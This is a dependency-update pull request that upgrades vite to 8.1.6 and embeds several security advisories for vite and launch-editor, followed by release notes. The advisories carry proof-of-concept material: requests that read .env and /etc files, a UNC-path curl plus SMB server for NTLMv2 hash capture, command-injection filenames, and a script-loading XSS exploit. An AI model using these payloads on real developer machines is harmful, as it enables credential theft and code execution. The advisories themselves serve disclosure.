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chore(deps): update dependency vite to v8.1.6 [security] - #185

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chore(deps): update dependency vite to v8.1.6 [security]#185
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This PR contains the following updates:

Package Change Age Confidence
vite (source) 8.0.13 → 8.1.6 age confidence

vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

  • explicitly exposes the Vite dev server to the network (using --host or server.host config option)
  • the sensitive file exists in the allowed directories specified by server.fs.allow
  • either of:
    • the sensitive file exists in an NTFS volume
    • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)
Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw
deecc1315123883cfd0f9c26a002845a

Example expected result:

  • /.env::$DATA?raw returns the contents of .env
  • /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows
  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
  • the user accesses the attackers website that sends request to a middleware using launch-editor
  • the server that has the middleware using launch-editor is running
  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

2026-01-30_10-58

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

More information

Details

Summary

launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.

Impact

Only apps that match all of the following conditions are affected:

  • The user uses Windows
  • An attacker can place a file with the malicious filename containing & or %
  • Either of
    • An attacker can inject an environment variable with a malicious value
    • An attacker can add a NTFS alternate data stream to the file placed
Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

  • If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
  • If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
  • If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

launch-editor: fs.existsSync() existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

More information

Details

Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

Impact

Only apps that runs on Windows is affected.

Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:

  1. launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
  2. launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
  3. On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
  4. Because the existence check passes, the crafted filename reaches the Windows shell command.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

CVE-2026-112944 / GHSA-r825-w8mm-5pxw

More information

Details

Summary

launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Impact
Direct launch-editor users

Only apps that match all of the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • The first argument of launchEditor can start with + or - or the user is using WSL
launch-editor-middleware users

Only apps that match the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • launch-editor older than v2.2.0 is used, or the user is using WSL
Vite users

Only apps that match the following conditions are affected:

  • The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
  • The user uses or the app specifies any of the following editors:
    • Vim (including gVim)
    • MacVim
    • Emacs (including Emacsclient)
    • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
  • The user is using WSL
Details

launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:

+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!

is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:

  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vite: Files outside server.fs.allow could be served when project paths match system paths on non-Windows machine

CVE-2026-112946 / GHSA-rq7h-c2jc-7f22

More information

Details

Summary

The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.

The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.

Impact

Only apps that meet all of the following conditions are affected:

  • explicitly expose the Vite dev server to the network (using --host or the server.host option)
  • contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
  • The sensitive file is not matched by server.fs.deny
  • the dev server is not running on Windows
Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.

For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vite: Cross origin script execution through Vite custom middleware

CVE-2026-112945 / GHSA-9jrq-w75r-8gcw

More information

Details

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

  • the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
  • the transformed HTML contains an inline module script
  • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Severity

  • CVSS Score: 2.1 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

vitejs/vite (vite)

v8.1.6

Compare Source

Please refer to CHANGELOG.md for details.

v8.1.5

Compare Source

Features
Bug Fixes
Performance Improvements
  • config: skip native config compat check when warning is ignored (#​23000) (18535d1)
  • optimizer: check popular package manager lockfiles first (#​22909) (14fcb66)
Documentation
Miscellaneous Chores
Tests
Beta Changelogs
8.2.0-beta.0 (2026-07-22)

See 8.2.0-beta.0 changelog

v8.1.4

Compare Source

Features
Bug Fixes
Documentation
Miscellaneous Chores
Code Refactoring
Tests
Build System

v8.1.3

Compare Source

Bug Fixes

v8.1.2

Compare Source

Bug Fixes

v8.1.1

Compare Source

Features
Bug Fixes
Miscellaneous Chores
Code Refactoring
  • css: remove lightningcss null byte bug workaround (#​22822) (2dafd3b)
  • use pre-defined environments variable to avoid duplicate Object.values calls (#​22790) (1113acf)
Tests
  • enable "manual chunk path" test and remove "worker.format error" test (#​22824) (c088511)

v8.1.0

Compare Source

Features
Bug Fixes

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renovate Bot force-pushed the renovate/npm-vite-vulnerability branch from c2d7ced to 1339193 Compare October 21, 2026 20:05
@renovate renovate Bot changed the title chore(deps): update dependency vite to v8.0.16 [security] chore(deps): update dependency vite to v8.1.6 [security] Oct 21, 2026

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